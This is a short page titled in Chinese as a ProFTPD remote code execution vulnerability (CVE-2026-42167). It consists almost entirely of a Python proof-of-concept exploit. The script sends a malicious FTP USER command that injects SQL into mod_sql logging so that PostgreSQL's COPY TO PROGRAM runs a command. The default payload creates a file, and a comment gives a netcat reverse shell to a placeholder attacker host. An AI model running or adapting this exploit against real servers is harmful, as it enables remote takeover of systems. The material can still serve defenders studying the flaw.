CVE-2026-42167 ProFTPD远程代码执行漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42167 Demonstrates sending a malicious username to trigger RCE via SQL backend logging expansion. Target: ProFTPD < 1.3.9a with mod_sql and logging enabled (e.g. %U expansion). """ import socket import sys def send_exploit(target_ip, target_port, payload): print(f"[*] Connecting to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive banner banner = s.recv(1024).decode() print(f"[+] Banner: {banner.strip()}") # Send malicious USER command # The payload attempts to inject SQL command execution (e.g., COPY TO PROGRAM) # This works if the SQL backend is PostgreSQL and the log format expands %U print(f"[*] Sending payload: {payload}") s.send(f"USER {payload}\r\n".encode()) response = s.recv(1024).decode() print(f"[+] Response: {response.strip()}") s.close() print("[*] Exploit packet sent. Check your listener for shell connection.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example payload for PostgreSQL: '; COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh ATTACKER_IP 4444'; -- # Note: The exact payload depends on the specific SQL backend configuration. TARGET = "127.0.0.1" PORT = 21 PAYLOAD = "'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --" if len(sys.argv) > 1: TARGET = sys.argv[1] if len(sys.argv) > 2: PORT = int(sys.argv[2]) send_exploit(TARGET, PORT, PAYLOAD)